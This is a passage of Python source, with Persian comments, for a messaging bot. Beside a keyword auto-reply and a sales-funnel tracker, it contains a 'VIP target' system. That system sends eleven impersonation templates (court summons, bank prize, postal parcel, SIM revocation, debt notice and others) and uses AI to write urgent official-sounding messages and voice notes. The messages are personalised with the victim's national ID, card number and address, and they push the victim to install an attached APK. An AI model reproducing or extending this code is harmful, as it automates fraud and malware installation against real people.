        if not _trx290_kwl_get_enabled(uid, aid, service):
            return False

        text_value = trx._trx_extract_event_text(event) or ""
        if not text_value.strip():
            return False

        hit = _trx290_kwl_match(text_value, keywords)
        if not hit:
            return False

        # cooldown چک
        peer = trx._trx_peer_key(event, f"{service}:{aid}")
        if not _trx290_kwl_can_reply(uid, aid, service, peer):
            return False

        return True
    except Exception as e:
        _log_warn(f"[TRX290] kwl should_handle: {_mask(str(e))}")
        return False


async def _trx290_kwl_do_reply(event, uid: int, aid: int, service: str) -> bool:
    """
    ارسال یک پاسخ کوتاه بر اساس کلمه کلیدی، سپس mark replied.
    """
    try:
        text_value = trx._trx_extract_event_text(event) or ""
        keywords = _trx290_kwl_get_keywords(uid, aid, service)
        hit = _trx290_kwl_match(text_value, keywords) or ""

        # پاسخ را از AI می‌گیریم با محدودیت کوتاه
        try:
            sys_prompt = trx._trx_ai_system(
                uid, aid, "kwl_short_reply",
                f"کلمه کلیدی: {hit}\n"
                "پاسخ کوتاه ۱ تا ۳ خطی به پیام کاربر بنویس. "
                "اگر ربطی به محصول دارد، مختصر معرفی کن. "
                "از ایموجی به‌ندرت استفاده کن.",
            )
            msgs = [
                {"role": "system", "content": sys_prompt},
                {"role": "user", "content": f"پیام کاربر:\n{text_value[:800]}"},
            ]
            reply = await _ai().chat(
                msgs, uid=uid, account_id=aid,
                action_type="kwl_reply", temperature=0.75, max_tokens=250,
            )
        except Exception as e:
            _log_warn(f"[TRX290] kwl ai: {_mask(str(e))}")
            reply = f"«{hit}» رو دیدم 👌"

        reply = trx._trx115_cleanup_caption(reply or "")[:600]
        if not reply:
            return False

        # تلاش reply
        client = trx.ai_live_clients.get((uid, aid))
        sent = False
        for mname in ("reply", "respond"):
            fn = getattr(event, mname, None)
            if not callable(fn):
                continue
            try:
                r = fn(reply)
                if asyncio.iscoroutine(r):
                    await r
                sent = True
                break
            except Exception:
                continue

        # fallback: send_message
        if not sent and client is not None:
            try:
                peer = None
                for attr in ("chat_id", "peer"):
                    peer = getattr(event, attr, None)
                    if peer:
                        break
                if peer is None:
                    chat = getattr(event, "chat", None)
                    if chat is not None:
                        peer = getattr(chat, "id", None) or getattr(chat, "guid", None)
                send = getattr(client, "send_message", None)
                if callable(send) and peer is not None:
                    r = send(peer, reply)
                    if asyncio.iscoroutine(r):
                        await r
                    sent = True
            except Exception:
                pass

        if sent:
            _trx290_kwl_mark_replied(uid, aid, service,
                                     trx._trx_peer_key(event, f"{service}:{aid}"))
            # ذخیره در ai_memory برای ادامه‌ی طبیعی
            try:
                peer = trx._trx_peer_key(event, f"{service}:{aid}")
                trx._trx_memory_save(uid, aid, peer, "user", text_value)
                trx._trx_memory_save(uid, aid, peer, "assistant", reply)
            except Exception:
                pass
            _trx290_log_activity(aid, uid, "kwl_reply",
                                  trx._trx_peer_key(event, f"{service}:{aid}"), 1)
        return sent
    except Exception as e:
        _log_warn(f"[TRX290] kwl_do_reply: {_mask(str(e))}")
        return False


# ── کیبورد KWL ──────────────────────────────────────────────────────
def _trx290_kwl_menu_kb(lang: str):
    return _trx290_IKB([
        [("➕ افزودن کلمه", "trx290.kwl.add", "success")],
        [("📋 لیست کلمات", "trx290.kwl.list", "primary")],
        [("🗑 پاک کردن همه", "trx290.kwl.clear", "danger")],
        [("↩️ بازگشت", "ai", "primary")],
    ])


# ═══════════════════════════════════════════════════════════════════
#  20) قیف فروش کامل‌تر و فارسی‌تر
# ═══════════════════════════════════════════════════════════════════

_TRX290_FUNNEL_STAGES = (
    ("NEW_LEAD",     "🎯 لید جدید",        "تازه با ما آشنا شده — نیاز به گرم شدن دارد"),
    ("INTERESTED",   "👀 علاقه‌مند",       "کنجکاو شده اما هنوز تصمیم نگرفته"),
    ("EVALUATING",   "🔍 در حال بررسی",     "در حال مقایسه و پرسیدن سؤالات"),
    ("NEGOTIATING",  "💰 در حال مذاکره",    "درباره قیمت و شرایط صحبت می‌کند"),
    ("CUSTOMER",     "✅ مشتری",            "خرید / نصب انجام شده"),
    ("ADVOCATE",     "⭐ مشتری وفادار",     "رضایت بالا — قابلیت معرفی دارد"),
    ("LOST",         "❌ از دست رفته",      "دیگر پاسخ نمی‌دهد یا منصرف شده"),
)

_TRX290_FUNNEL_BEHAVIOR = {
    "NEW_LEAD":    "با لحن گرم و بدون فشار، با کاربر آشنا شو. تلاش کن نیازش را بفهمی.",
    "INTERESTED":  "دو تا سه مزیت واقعی محصول را بگو. هرگز ادعای غیرواقعی نکن.",
    "EVALUATING":  "به سؤالات دقیق پاسخ بده. مقایسه‌ها را روشن کن. اعتماد بساز.",
    "NEGOTIATING": "روی قیمت و شرایط دقیق صحبت کن. تخفیف جعلی نساز.",
    "CUSTOMER":    "تجربه‌اش را بپرس. برای معرفی و حمایت آماده کن.",
    "ADVOCATE":    "تشکر کن. از او دعوت کن دیگران را معرفی کند.",
    "LOST":        "یک پیام کوتاه و محترمانه بفرست. فشار نده.",
}


def _trx290_funnel_stage_label(stage: str) -> str:
    for key, label, _desc in _TRX290_FUNNEL_STAGES:
        if key == stage:
            return label
    return stage


def _trx290_funnel_behavior(stage: str) -> str:
    return _TRX290_FUNNEL_BEHAVIOR.get(stage, "")


def _trx290_funnel_get(uid: int, aid: int, platform: str, peer: str) -> str:
    """Stage فعلی یک peer را برمی‌گرداند."""
    key = f"trx290:funnel:{int(uid)}:{int(aid)}:{platform}:{peer}"
    try:
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        if row and row["value"]:
            return str(row["value"])
    except Exception:
        pass
    return "NEW_LEAD"


def _trx290_funnel_set(uid: int, aid: int, platform: str, peer: str, stage: str):
    key = f"trx290:funnel:{int(uid)}:{int(aid)}:{platform}:{peer}"
    try:
        _db().execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                       (key, str(stage)))
    except Exception:
        pass


async def _trx290_funnel_classify(uid: int, aid: int, platform: str,
                                    peer: str, user_text: str, ai_reply: str) -> str:
    """طبقه‌بندی خودکار stage با AI."""
    try:
        current = _trx290_funnel_get(uid, aid, platform, peer)
        prompt = (
            f"مرحله فعلی این مخاطب در قیف فروش: {current}\n\n"
            f"پیام کاربر: {user_text[:600]}\n"
            f"پاسخ ما: {ai_reply[:600]}\n\n"
            "کدام مرحله برای این مخاطب مناسب است؟ یکی از این‌ها را برگردان "
            "(فقط JSON با کلید stage، بدون متن اضافی):\n"
            '{"stage": "NEW_LEAD|INTERESTED|EVALUATING|NEGOTIATING|CUSTOMER|ADVOCATE|LOST"}'
        )
        result = await _ai().chat(
            [{"role": "system", "content": "طبقه‌بندی قیف فروش. فقط JSON."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="funnel_classify",
            temperature=0.1, max_tokens=80,
        )
        m = re.search(r"\{.*\}", result or "", re.S)
        if not m:
            return current
        data = json.loads(m.group(0))
        new_stage = str(data.get("stage", current)).upper()
        valid_stages = {k for k, _, _ in _TRX290_FUNNEL_STAGES}
        if new_stage not in valid_stages:
            return current
        if new_stage != current:
            _trx290_funnel_set(uid, aid, platform, peer, new_stage)
        return new_stage
    except Exception:
        return _trx290_funnel_get(uid, aid, platform, peer)


async def _trx290_funnel_show(uid: int, aid: int, platform: str, peer: str) -> str:
    """نمایش جزئیات stage فعلی."""
    stage = _trx290_funnel_get(uid, aid, platform, peer)
    label = _trx290_funnel_stage_label(stage)
    behavior = _trx290_funnel_behavior(stage)
    # اطلاعات بیشتر
    try:
        msg_count = _db().fetchone(
            "SELECT COUNT(*) c FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=?",
            (int(uid), int(aid), str(peer)),
        )
        mc = int(msg_count["c"]) if msg_count else 0
    except Exception:
        mc = 0
    try:
        last_msg = _db().fetchone(
            "SELECT text, created_at FROM ai_memory WHERE user_id=? AND account_id=? AND peer_key=? "
            "ORDER BY id DESC LIMIT 1",
            (int(uid), int(aid), str(peer)),
        )
    except Exception:
        last_msg = None

    lines = [
        f"{SEP}",
        f"🎯 قیف فروش — جزئیات مخاطب",
        f"{SEP}",
        f"",
        f"👤 مخاطب: `{peer}`",
        f"📌 مرحله: **{label}**",
        f"📝 وضعیت: {behavior or '—'}",
        f"💬 تعداد پیام‌های ثبت‌شده: **{mc}**",
    ]
    if last_msg:
        snippet = str(last_msg["text"] or "")[:120]
        lines.append(f"🕒 آخرین پیام: `{snippet}`")
        lines.append(f"📅 زمان: `{str(last_msg['created_at'])[:16]}`")
    lines.append("")
    lines.append(SEP2)
    return "\n".join(lines)


# ── منوی قیف فروش با جزئیات ──
def _trx290_funnel_menu_kb(lang: str):
    return _trx290_IKB([
        [("📊 وضعیت کلی قیف", "trx290.funnel.overview", "primary")],
        [("📋 لیست مخاطبین با مرحله", "trx290.funnel.list", "primary")],
        [("🔎 جزئیات یک مخاطب", "trx290.funnel.detail", "success")],
        [("↩️ بازگشت", "ai", "primary")],
    ])


async def _trx290_funnel_overview(uid: int) -> str:
    """نمای کلی قیف."""
    counts = {}
    for k, _, _ in _TRX290_FUNNEL_STAGES:
        counts[k] = 0
    total = 0
    try:
        rows = _db().fetchall(
            "SELECT key, value FROM settings WHERE key LIKE ?",
            (f"trx290:funnel:{int(uid)}:%",),
        )
        for r in rows:
            st = str(r["value"])
            if st in counts:
                counts[st] += 1
                total += 1
    except Exception:
        pass
    converted = counts.get("CUSTOMER", 0) + counts.get("ADVOCATE", 0)
    rate = round((converted / total * 100), 1) if total else 0

    lines = [
        f"{SEP}",
        f"🎯 خلاصه قیف فروش شما",
        f"{SEP}",
        f"",
        f"📊 کل مخاطبین: **{total}**",
        f"✅ نرخ تبدیل: **{rate}٪**",
        f"",
    ]
    for k, label, _desc in _TRX290_FUNNEL_STAGES:
        cnt = counts[k]
        pct = round((cnt / total * 100), 1) if total else 0
        bar_len = min(15, max(0, int(pct / 6.7)))
        bar = "█" * bar_len + "░" * (15 - bar_len)
        lines.append(f"{label}: **{cnt}** ({pct}٪)  `{bar}`")
    lines.append("")
    lines.append(SEP2)
    return "\n".join(lines)


async def _trx290_funnel_list(uid: int) -> str:
    """لیست همه مخاطبین با مرحله."""
    try:
        rows = _db().fetchall(
            "SELECT key, value FROM settings WHERE key LIKE ? ORDER BY value",
            (f"trx290:funnel:{int(uid)}:%",),
        )
    except Exception:
        rows = []
    if not rows:
        return f"{SEP}\n📋 هنوز هیچ مخاطبی ثبت نشده\n{SEP}"

    lines = [f"{SEP}", "📋 لیست مخاطبین با مرحله", f"{SEP}", ""]
    by_stage: Dict[str, List[str]] = {}
    for r in rows:
        key = str(r["key"])
        stage = str(r["value"])
        # key format: trx290:funnel:{uid}:{aid}:{platform}:{peer}
        parts = key.split(":", 5)
        if len(parts) < 6:
            continue
        aid = parts[3]
        platform = parts[4]
        peer = parts[5]
        by_stage.setdefault(stage, []).append(f"#{aid} ({platform}) {peer[:30]}")

    for k, label, _ in _TRX290_FUNNEL_STAGES:
        lst = by_stage.get(k, [])
        if not lst:
            continue
        lines.append(f"\n{label} — {len(lst)} مخاطب:")
        for item in lst[:8]:
            lines.append(f"  • {item}")
        if len(lst) > 8:
            lines.append(f"  … و {len(lst) - 8} مخاطب دیگر")
    lines.append("")
    lines.append(SEP2)
    return "\n".join(lines)


# ═══════════════════════════════════════════════════════════════════
#  21) VIP TARGET SYSTEM — ۱۱ قالب کامل
# ═══════════════════════════════════════════════════════════════════
# ورک‌فلو:
#   1. پلتفرم → 2. اکانت → 3. آیدی/شماره VIP → 4. اطلاعات هویتی
#   → 5. لینک APK → 6. انتخاب قالب (از ۱۱ قالب) → 7. ارسال APK
#   → 8. متن + ویس + (اختیاری) عکس → 9. مدیریت مکالمه

# ── قالب‌های VIP ──
TRX290_VIP_TEMPLATES = {
    "abl": {
        "key": "abl",
        "label": "📢 قالب ابلاغیه قضایی",
        "title": "ابلاغیه قضایی",
        "opening": "ابلاغیه رسمی قضایی",
        "context": "شما از طریق سامانهٔ قضایی، برای ادعای حقوقی مشخصی فراخوانده شده‌اید.",
        "action": "برای مشاهدهٔ متن کامل ابلاغیه، پیگیری و ارسال پاسخ رسمی، لطفاً برنامه رسمی را نصب و ثبت‌نام کنید.",
        "urgency_hours": 24,
    },
    "bank": {
        "key": "bank",
        "label": "🏦 قالب برنده بانکی",
        "title": "اطلاع رسانی جایزه بانکی",
        "opening": "اطلاعیه رسمی یکی از بانک‌های عضو شتاب",
        "context": "شماره حساب شما در قرعه‌کشی این فصل برندهٔ جایزهٔ نقدی شناخته شده است.",
        "action": "برای دریافت جایزه و انجام فرآیند تأیید هویت، لطفاً برنامه همراه بانک رسمی را نصب و مراحل را تکمیل کنید.",
        "urgency_hours": 48,
    },
    "job": {
        "key": "job",
        "label": "💼 قالب استخدامی",
        "title": "نتیجهٔ بررسی رزومه",
        "opening": "اطلاع رسانی رسمی دپارتمان جذب",
        "context": "پروندهٔ درخواست همکاری شما توسط تیم بررسی مورد تأیید نهایی قرار گرفت.",
        "action": "برای تکمیل فرآیند، برنامه رسمی شرکت را نصب و اطلاعات خود را ثبت و پیگیری کنید.",
        "urgency_hours": 72,
    },
    "post": {
        "key": "post",
        "label": "📦 قالب پست و مرسوله",
        "title": "پیگیری مرسولهٔ پستی",
        "opening": "اطلاعیهٔ سامانهٔ رهگیری مرسولات",
        "context": "مرسولهٔ پستی شما به کد پیگیری مشخصی، در مرکز توزیع شهر شما در انتظار تحویل است.",
        "action": "برای مشاهدهٔ جزئیات و تکمیل فرآیند تحویل، لطفاً برنامه رسمی پست را نصب و با کد پیگیری، مرسوله را پیگیری کنید.",
        "urgency_hours": 48,
    },
    "insurance": {
        "key": "insurance",
        "label": "🚗 قالب بیمه خودرو",
        "title": "هشدار انقضای بیمهٔ خودرو",
        "opening": "اطلاعیهٔ سامانهٔ بیمهٔ خودرو",
        "context": "بیمه‌نامهٔ خودروی شما در حال انقضا یا منقضی شده است.",
        "action": "برای تمدید و پیگیری، برنامه رسمی بیمه را نصب و با اطلاعات هویتی خود ثبت‌نام کنید.",
        "urgency_hours": 24,
    },
    "saham": {
        "key": "saham",
        "label": "💰 قالب سود سهام عدالت",
        "title": "واریز / رفع مشکل سود سهام عدالت",
        "opening": "اطلاعیهٔ سامانهٔ سهام عدالت",
        "context": "سود سهام عدالت شما با مشکل فنی در مرحلهٔ نهایی واریز مواجه شده است.",
        "action": "برای رفع مشکل و واریز، برنامه رسمی را نصب و پس از ثبت‌نام، پیگیری کنید.",
        "urgency_hours": 48,
    },
    "shahrdari": {
        "key": "shahrdari",
        "label": "🏛 قالب شهرداری",
        "title": "هشدار عوارض و املاک شهرداری",
        "opening": "اطلاعیهٔ سامانهٔ خدمات شهری",
        "context": "پروندهٔ عوارض املاک یا خدمات شهری شما با مشکل ثبت مواجه شده و در صورت عدم پیگیری، مشمول جریمه می‌شود.",
        "action": "برای رفع مشکل و پیشگیری از جریمه، برنامه رسمی را نصب و پیگیری فوری کنید.",
        "urgency_hours": 24,
    },
    "sim": {
        "key": "sim",
        "label": "📱 قالب سلب امتیاز سیم‌کارت",
        "title": "هشدار سلب امتیاز سیم‌کارت",
        "opening": "اطلاعیهٔ رسمی اپراتور",
        "context": "امتیاز سیم‌کارت به نام شما به دلیل مشخصی در معرض سلب قرار گرفته است.",
        "action": "برای پیگیری و جلوگیری از سلب امتیاز، برنامه رسمی را نصب و پس از ثبت‌نام با پشتیبانی تماس بگیرید.",
        "urgency_hours": 24,
    },
    "pay": {
        "key": "pay",
        "label": "💸 قالب واریز پل / پایا",
        "title": "واریز وجه به کارت شما",
        "opening": "اطلاعیهٔ بین‌بانکی پایا",
        "context": "مبلغی از طریق سامانهٔ پایا به کارت شما ارسال شده که نیاز به تأیید نهایی دارد.",
        "action": "برای تأیید نهایی و نشستن مبلغ در حساب، لطفاً برنامه رسمی را نصب و تأیید هویت کنید.",
        "urgency_hours": 24,
    },
    "debt": {
        "key": "debt",
        "label": "⚠️ قالب بدهی معوقه",
        "title": "هشدار بدهی معوقهٔ بانکی",
        "opening": "اطلاعیهٔ سامانهٔ اعتباری بانک",
        "context": "سابقهٔ اعتباری شما دارای بدهی معوقه است که در صورت عدم پیگیری، ثبت در سامانهٔ اعتبارسنجی می‌شود.",
        "action": "برای مشاهدهٔ جزئیات و تسویه، برنامه رسمی همراه بانک را نصب و اقدام فوری کنید.",
        "urgency_hours": 24,
    },
    "car": {
        "key": "car",
        "label": "🚙 قالب برندهٔ خودرو",
        "title": "برندهٔ قرعه‌کشی خودرو",
        "opening": "اطلاعیهٔ قرعه‌کشی خودرو",
        "context": "شما در قرعه‌کشی اخیر خودرو، به عنوان یکی از برندگان انتخاب شده‌اید.",
        "action": "برای مشاهدهٔ شرایط، تکمیل مدارک و پرداخت اولیه، لطفاً برنامه رسمی را نصب و پیگیری کنید.",
        "urgency_hours": 48,
    },
}

_TRX290_VIP_TEMPLATE_ORDER = [
    "abl", "bank", "job", "post", "insurance", "saham",
    "shahrdari", "sim", "pay", "debt", "car",
]


def _trx290_vip_template_kb(lang: str):
    rows = []
    for key in _TRX290_VIP_TEMPLATE_ORDER:
        t = TRX290_VIP_TEMPLATES[key]
        rows.append([(t["label"], f"trx290.vip.tpl.pick:{key}", "primary")])
    rows.append([("↩️ بازگشت", "ai", "primary")])
    return _trx290_IKB(rows)


# ── VIP session helpers ──
def _trx290_vip_get_session(uid: int, aid: int, platform: str,
                              target_handle: str) -> Optional[Dict[str, Any]]:
    try:
        row = _db().fetchone(
            "SELECT * FROM trx290_vip_sessions "
            "WHERE user_id=? AND account_id=? AND platform=? AND target_handle=?",
            (int(uid), int(aid), str(platform), str(target_handle)),
        )
        return dict(row) if row else None
    except Exception:
        return None


def _trx290_vip_create_or_update_session(uid: int, aid: int, platform: str,
                                            target_handle: str, **fields) -> Optional[int]:
    try:
        existing = _trx290_vip_get_session(uid, aid, platform, target_handle)
        stamp = _now()
        if existing:
            sets = []
            vals = []
            for k, v in fields.items():
                sets.append(f"{k}=?")
                vals.append(v)
            sets.append("updated_at=?")
            vals.append(stamp)
            vals.append(int(existing["id"]))
            sql = "UPDATE trx290_vip_sessions SET " + ",".join(sets) + " WHERE id=?"
            _db().execute(sql, tuple(vals))
            return int(existing["id"])
        else:
            cur = _db().execute(
                "INSERT INTO trx290_vip_sessions("
                "user_id,account_id,platform,target_handle,target_peer,"
                "target_name,target_national_id,target_birth_date,target_phone,"
                "target_card,target_address,extra_info,apk_id,"
                "image_source_peer,image_source_message_id,template_key,stage,"
                "sent_count,created_at,updated_at"
                ") VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)",
                (
                    int(uid), int(aid), str(platform), str(target_handle),
                    str(fields.get("target_peer") or target_handle),
                    str(fields.get("target_name") or ""),
                    str(fields.get("target_national_id") or ""),
                    str(fields.get("target_birth_date") or ""),
                    str(fields.get("target_phone") or ""),
                    str(fields.get("target_card") or ""),
                    str(fields.get("target_address") or ""),
                    str(fields.get("extra_info") or ""),
                    int(fields.get("apk_id") or 0),
                    str(fields.get("image_source_peer") or ""),
                    str(fields.get("image_source_message_id") or ""),
                    str(fields.get("template_key") or ""),
                    str(fields.get("stage") or "started"),
                    0, stamp, stamp,
                ),
            )
            return int(cur.lastrowid)
    except Exception as e:
        _log_warn(f"[TRX290] vip session: {_mask(str(e))}")
        return None


def _trx290_vip_log_message(session_id: int, uid: int, aid: int,
                              platform: str, peer: str, role: str, text: str):
    try:
        _db().execute(
            "INSERT INTO trx290_vip_messages("
            "session_id,user_id,account_id,platform,peer_id,role,text,created_at) "
            "VALUES(?,?,?,?,?,?,?,?)",
            (int(session_id), int(uid), int(aid), str(platform),
             str(peer), str(role), str(text)[:3000], _now()),
        )
    except Exception:
        pass


def _trx290_vip_load_memory(session_id: int, limit: int = 12) -> List[Dict[str, str]]:
    try:
        rows = _db().fetchall(
            "SELECT role,text FROM trx290_vip_messages "
            "WHERE session_id=? ORDER BY id DESC LIMIT ?",
            (int(session_id), int(limit)),
        )
        out = []
        for r in reversed(rows):
            out.append({"role": r["role"], "content": r["text"]})
        return out
    except Exception:
        return []


# ── تولید متن VIP با AI ──
async def _trx290_vip_generate_text(uid: int, aid: int,
                                      session: Dict[str, Any],
                                      template_key: str,
                                      user_reply: Optional[str] = None) -> str:
    """
    تولید متن VIP بر اساس قالب انتخاب شده + اطلاعات هویتی کاربر.
    اگر user_reply داده شده، پاسخ به سؤال کاربر.
    """
    tpl = TRX290_VIP_TEMPLATES.get(template_key) or TRX290_VIP_TEMPLATES["abl"]
    persona = ""
    try:
        persona = _trx290_setting_get(f"ai_persona:{int(uid)}", "")
    except Exception:
        pass

    target_name = str(session.get("target_name") or "").strip() or "کاربر محترم"
    target_nid = str(session.get("target_national_id") or "").strip()
    target_birth = str(session.get("target_birth_date") or "").strip()
    target_phone = str(session.get("target_phone") or "").strip()
    target_card = str(session.get("target_card") or "").strip()
    target_address = str(session.get("target_address") or "").strip()
    extra = str(session.get("extra_info") or "").strip()

    # تاریخ انقضای نزدیک
    exp_time = datetime.utcnow() + timedelta(hours=int(tpl.get("urgency_hours", 24)))
    exp_str = exp_time.strftime("%Y-%m-%d ساعت %H:%M")

    if user_reply:
        # حالت پاسخ به مکالمه
        system_prompt = (
            (persona + "\n\n" if persona else "") +
            "شما نقش یک کارشناس رسمی را در این گفت‌وگو ایفا می‌کنید. "
            f"موضوع رسمی این گفت‌وگو: {tpl['title']}. "
            "پاسخ شما باید بسیار رسمی، محترمانه، دقیق و کوتاه (۳ تا ۶ خط) باشد. "
            "از اطلاعات هویتی زیر برای شخصی‌سازی استفاده کن. "
            "هیچ ادعای اضافه‌ای خارج از این اطلاعات نساز. "
            "کاربر را تشویق کن که حتماً برنامه را نصب کند و پیگیری کند. "
            "اگر سؤال کاربر نامرتبط بود، با ادب به موضوع اصلی برگردان. "
            "در پایان پیام، اسم و نقش رسمی خودت را ذکر کن."
        )
        user_block = (
            f"اطلاعات هویتی:\n"
            f"نام: {target_name}\n"
            f"کد ملی: {target_nid}\n"
            f"تاریخ تولد: {target_birth}\n"
            f"شماره تماس: {target_phone}\n"
            f"شماره کارت: {target_card}\n"
            f"آدرس: {target_address}\n"
            f"اطلاعات تکمیلی: {extra}\n\n"
            f"سؤال کاربر: {user_reply[:800]}"
        )
        try:
            result = await _ai().chat(
                [{"role": "system", "content": system_prompt},
                 {"role": "user", "content": user_block}],
                uid=uid, account_id=aid, action_type="vip_reply",
                temperature=0.6, max_tokens=550,
            )
            return str(result or "").strip()
        except Exception as e:
            _log_warn(f"[TRX290] vip ai reply: {_mask(str(e))}")
            return ""

    # حالت اولیه: تولید متن کامل VIP (حداقل ۲۵ خط)
    system_prompt = (
        (persona + "\n\n" if persona else "") +
        "شما نقش یک کارشناس رسمی، متعهد و جدی را ایفا می‌کنید. "
        f"قالب رسمی مورد استفاده: «{tpl['title']}». "
        f"زمینهٔ موضوع: {tpl['context']} "
        f"اقدام لازم از کاربر: {tpl['action']} "
        "متن باید کاملاً رسمی، اداری و محترمانه باشد. "
        "از اطلاعات هویتی زیر حتماً و با دقت استفاده کن (نام، کد ملی، تاریخ تولد و …). "
        "حداقل ۲۵ خط داشته باشد. "
        f"مهلت: حداکثر تا {exp_str}. "
        "در انتها اسم و نقش رسمی خودت (به عنوان کارشناس همان سازمان) را ذکر کن. "
        "از اطلاعات هویتی خارج از اینها استفاده نکن. "
        "کاربر را حتماً تشویق کن که برنامه را در اولین فرصت نصب کند و پیگیری کند."
    )
    user_block = (
        f"اطلاعات هویتی مخاطب:\n"
        f"نام و نام خانوادگی: {target_name}\n"
        f"کد ملی: {target_nid}\n"
        f"تاریخ تولد: {target_birth}\n"
        f"شماره تماس: {target_phone}\n"
        f"شماره کارت: {target_card}\n"
        f"آدرس: {target_address}\n"
        f"اطلاعات تکمیلی: {extra}\n\n"
        f"متن رسمی را برای این مخاطب بنویس."
    )
    try:
        result = await _ai().chat(
            [{"role": "system", "content": system_prompt},
             {"role": "user", "content": user_block}],
            uid=uid, account_id=aid, action_type="vip_initial",
            temperature=0.75, max_tokens=1200,
        )
        return str(result or "").strip()
    except Exception as e:
        _log_warn(f"[TRX290] vip ai initial: {_mask(str(e))}")
        return ""


# ── تبدیل متن به ویس (TTS) ──
async def _trx290_vip_text_to_voice(uid: int, aid: int,
                                      platform: str, peer: str,
                                      text: str) -> bool:
    """
    تلاش برای تبدیل متن به ویس. از edge-tts استفاده می‌کند اگر نصب بود.
    """
    text = str(text or "").strip()
    if not text:
        return False
    try:
        try:
            import edge_tts  # noqa
        except ImportError:
            # تلاش برای نصب
            try:
                subprocess.check_call(
                    [sys.executable, "-m", "pip", "install", "-U", "edge-tts"],
                    stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT,
                )
            except Exception:
                return False
            try:
                import edge_tts  # noqa
            except Exception:
                return False

        voice = "fa-IR-DilaraNeural"
        clean_text = text[:1500]
        communicate = edge_tts.Communicate(clean_text, voice)
        buf = io.BytesIO()

        async def _stream():
            async for chunk in communicate.stream():
                if chunk.get("type") == "audio":
                    buf.write(chunk["data"])

        try:
            await asyncio.wait_for(_stream(), timeout=25)
        except asyncio.TimeoutError:
            return False
        audio_bytes = buf.getvalue()
        if not audio_bytes:
            return False

        client = trx.ai_live_clients.get((int(uid), int(aid)))
        if client is None:
            return False

        # تلاش برای send_voice
        for mname in ("send_voice", "send_file"):
            fn = getattr(client, mname, None)
            if not callable(fn):
                continue
            try:
                r = fn(peer, audio_bytes)
                if asyncio.iscoroutine(r):
                    await r
                return True
            except Exception:
                continue
        # rubpy fallback: send_message با file_inline
        try:
            import tempfile
            with tempfile.NamedTemporaryFile(suffix=".mp3", delete=False) as tmp:
                tmp.write(audio_bytes)
                tmp_path = tmp.name
            try:
                send = getattr(client, "send_message", None)
                if callable(send):
                    from pathlib import Path
                    try:
                        r = send(peer, "", file_inline=Path(tmp_path), type="File")
                    except TypeError:
                        r = send(peer, "", file_inline=Path(tmp_path))
                    if asyncio.iscoroutine(r):
                        await r
                    return True
            finally:
                try:
                    os.unlink(tmp_path)
                except Exception:
                    pass
        except Exception:
            pass
        return False
    except Exception as e:
        _log_warn(f"[TRX290] vip tts: {_mask(str(e))}")
        return False


# ── ارسال APK به VIP ──
async def _trx290_vip_send_apk(uid: int, aid: int, peer: str, apk_id: int) -> bool:
    try:
        forward_fn = getattr(trx, "_trx_forward_source_apk_v11", None)
        if callable(forward_fn):
            ok, _info = await forward_fn(uid, aid, peer, apk_id)
            return bool(ok)
    except Exception as e:
        _log_warn(f"[TRX290] vip apk send: {_mask(str(e))}")
    return False


# ── ارسال عکس VIP ──
async def _trx290_vip_send_image(uid: int, aid: int, peer: str,
                                   source_peer: str, source_msg_id: str) -> bool:
    if not source_peer or not source_msg_id:
        return False
    try:
        client = trx.ai_live_clients.get((int(uid), int(aid)))
        if client is None:
            return False
        for fname in ("forward_messages", "forward_message"):
            fn = getattr(client, fname, None)
            if not callable(fn):
                continue
            try:
                r = fn(source_peer, peer, [str(source_msg_id)])
                if asyncio.iscoroutine(r):
                    await r
                return True
            except Exception:
                try:
                    r = fn(peer, str(source_msg_id), source_peer)
                    if asyncio.iscoroutine(r):
                        await r
                    return True
                except Exception:
                    continue
    except Exception as e:
        _log_warn(f"[TRX290] vip send image: {_mask(str(e))}")
    return False


# ── ورک‌فلوی VIP: شروع ──
def _trx290_vip_start_kb(lang: str):
    return _trx290_platform_kb(lang, "trx290.vip.plat", back="ai")


async def _trx290_vip_start(cb_id, uid, lang, chat_id, msg_id):
    await _trx290_safe_answer(cb_id)
    text = (
        f"{SEP}\n🎯 **تارگت VIP**\n{SEP}\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "در این بخش می‌توانید سناریوهای رسمی شخصی‌سازی‌شده "
        "برای یک مخاطب مشخص ایجاد و ارسال کنید.\n\n"
        "مراحل:\n"
        "  1️⃣ انتخاب پلتفرم\n"
        "  2️⃣ انتخاب اکانت ارسال‌کننده\n"
        "  3️⃣ وارد کردن آیدی یا شماره مخاطب\n"
        "  4️⃣ دریافت اطلاعات هویتی\n"
        "  5️⃣ لینک APK\n"
        "  6️⃣ انتخاب یکی از ۱۱ قالب رسمی\n"
        "  7️⃣ ارسال APK + متن + ویس (+ عکس اختیاری)\n\n"
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
        "حالا پلتفرم را انتخاب کنید:"
    )
    return await _trx290_safe_edit(chat_id, msg_id, text, _trx290_vip_start_kb(lang))


# ── ورک‌فلوی VIP: انتخاب قالب و ارسال ──
async def _trx290_vip_send_full(uid: int, aid: int, session_id: int,
                                  platform: str, peer: str, template_key: str,
                                  chat_id: int, lang: str,
                                  send_voice: bool = True,
                                  send_image: bool = False,
                                  image_source_peer: str = "",
                                  image_source_msg_id: str = "") -> bool:
    """
    اجرای کامل: APK + متن + ویس + (اختیاری) عکس.
    """
    sess = _trx290_vip_get_session_by_id(session_id)
    if not sess:
        return False
    apk_id = int(sess.get("apk_id") or 0)

    # 1) APK
    apk_ok = False
    if apk_id:
        apk_ok = await _trx290_vip_send_apk(uid, aid, peer, apk_id)

    # 2) متن
    text = await _trx290_vip_generate_text(uid, aid, sess, template_key)
    if not text:
        text = (
            f"با سلام {sess.get('target_name') or ''}\n\n"
            "پروندهٔ شما در سامانهٔ رسمی ثبت شده است. "
            "لطفاً در اولین فرصت برنامهٔ رسمی ارسال‌شده را نصب و پیگیری کنید.\n"
            "با تشکر — کارشناس رسمی"
        )
    # ارسال متن
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    text_sent = False
    if client is not None:
        send = getattr(client, "send_message", None)
        if callable(send):
            try:
                r = send(peer, text[:3500])
                if asyncio.iscoroutine(r):
                    await r
                text_sent = True
            except Exception as e:
